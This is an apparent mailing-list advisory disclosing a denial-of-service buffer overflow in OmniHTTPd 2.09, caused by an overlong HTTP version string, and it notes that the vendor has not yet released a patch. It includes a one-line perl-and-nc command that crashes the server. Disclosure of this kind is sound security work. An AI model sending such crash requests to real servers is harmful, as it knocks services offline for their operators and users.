BufferOverflow in OmniHTTPd 2.09

["Martin J. Muench" <mjm () codito de>]

Hi there.

The OmniHTTPd v2.09 of Omnicron (www.omnicron.ca) contains
a problem with handling long HTTP versions which causes a denial of
service.
Found this problem while developing a new plugin for BED (Bruteforce
Exploit Detector,www.kryptocrew.de/snakebyte/bed.html).


[ Problem

When sending a malformed request with a HTTP version containing 4096 or
more characters, the HTTPd crashes.

Example:
perl -e 'print "HEAD / "."a"x4096 ."\n\n"' | nc 127.0.0.1 80

This attack also works with every other request types like 'GET', 'POST',... .


[ Patches

Nothing published yet, contacted vendor 2 weeks ago.
Keep looking at vendor site at www.omnicron.ca.


Martin J. Muench

- www.codito.de